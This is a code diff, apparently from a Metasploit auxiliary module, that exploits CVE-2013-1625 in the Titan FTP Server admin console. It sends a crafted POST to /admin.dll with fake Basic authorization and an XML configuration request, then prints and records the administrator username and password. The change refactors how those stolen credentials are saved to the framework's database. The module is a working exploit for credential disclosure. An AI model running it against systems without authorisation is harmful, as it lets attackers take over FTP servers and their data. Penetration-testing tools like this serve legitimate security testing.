@@ -33,25 +33,24 @@ def initialize
33
33
'License' => MSF_LICENSE ,
34
34
'References' =>
35
35
[
36
- [ 'CVE' , '2013-1625' ] ,
36
+ [ 'CVE' , '2013-1625' ]
37
37
]
38
38
)
39
39
40
40
register_options ( [ Opt ::RPORT ( 31001 ) ] , self . class )
41
- deregister_options ( 'PASSWORD' , 'USERNAME' )
42
41
end
43
42
44
43
def run_host ( ip )
45
44
res = send_request_cgi (
46
45
{
47
- 'uri' => " /admin.dll" ,
46
+ 'uri' => ' /admin.dll' ,
48
47
'method' => 'POST' ,
49
48
'headers' => {
50
49
'SRT-WantXMLResponses' => 'true' ,
51
50
'SRT-XMLRequest' => 'true' ,
52
51
'Authorization' => 'Basic FAKEFAKE'
53
52
} ,
54
- 'data' => " <SRRequest><SRTarget>DOM</SRTarget><SRAction>GCFG</SRAction><SRServerName/><SRPayload></SRPayload></SRRequest>" ,
53
+ 'data' => ' <SRRequest><SRTarget>DOM</SRTarget><SRAction>GCFG</SRAction><SRServerName/><SRPayload></SRPayload></SRRequest>'
55
54
} )
56
55
return if not res
57
56
@@ -89,15 +88,39 @@ def run_host(ip)
89
88
print_good ( "#{ ip } :#{ datastore [ 'RPORT' ] } - Base Directory: #{ info [ :basedir ] } " )
90
89
end
91
90
print_good ( "#{ ip } :#{ datastore [ 'RPORT' ] } - Admin Credentials: '#{ info [ :username ] } :#{ info [ :password ] } '" )
92
- report_auth_info (
93
- :host => ip ,
94
- :port => datastore [ 'RPORT' ] ,
95
- :user => info [ :username ] ,
96
- :pass => info [ :password ] ,
97
- :ptype => "password" ,
98
- :proto => "http" ,
99
- :sname => "Titan FTP Admin Console"
91
+ report_cred (
92
+ ip : ip ,
93
+ port : datastore [ 'RPORT' ] ,
94
+ user : info [ :username ] ,
95
+ password : info [ :password ] ,
96
+ service_name : 'ftp'
100
97
)
101
98
end
102
99
end
100
+
101
+ def report_cred ( opts )
102
+ service_data = {
103
+ address : opts [ :ip ] ,
104
+ port : opts [ :port ] ,
105
+ service_name : opts [ :service_name ] ,
106
+ protocol : 'tcp' ,
107
+ workspace_id : myworkspace_id
108
+ }
109
+
110
+ credential_data = {
111
+ origin_type : :service ,
112
+ module_fullname : fullname ,
113
+ username : opts [ :user ] ,
114
+ private_data : opts [ :password ] ,
115
+ private_type : :password
116
+ } . merge ( service_data )
117
+
118
+ login_data = {
119
+ core : create_credential ( credential_data ) ,
120
+ status : Metasploit ::Model ::Login ::Status ::UNTRIED ,
121
+ } . merge ( service_data )
122
+
123
+ create_credential_login ( login_data )
124
+ end
125
+
103
126
end
0 commit comments